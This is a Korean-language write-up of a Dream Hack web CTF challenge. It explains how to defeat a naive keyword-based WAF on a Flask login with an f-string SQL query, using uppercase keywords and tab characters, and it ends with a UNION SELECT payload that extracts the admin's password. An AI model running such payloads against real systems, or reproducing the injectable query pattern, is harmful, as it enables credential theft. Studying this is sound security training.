[Dream Hack - Web] sql injection bypass WAF

문제 해석

error based sql injection 문제와 달라진 점 중이 크게 두가지 보였다.

• keywords에 있는 문자열을 포함하는 경우, SQL 문이 실행되지 않는다.

keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True
    return False

• 더 이상 에러문을 출력하지 않는다.

uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
	 else:
            return template.format(uid=uid, result='')
    else:
        return template

 

풀이방법

1. keywords를 보면, 대문자는 WAF에 잡히지 않는 것을 볼 수 있다. SQL에서는 소대문자를 구별하지 않는다.
2. 띄어쓰기는 탭으로 대체해서 보낼 수 있다.
3. UNION을 사용해서 admin의 upw를 출력하도록 한다. ** UNION 사용 시 앞에 사용되는 SELECT 문과 column 수가 동일하게 출력 되어야 한다. null, upw, null을 사용하는 이유이다.

'	UNION	SELECT	null,upw,null	FROM	user	WHERE	uid='Admin';#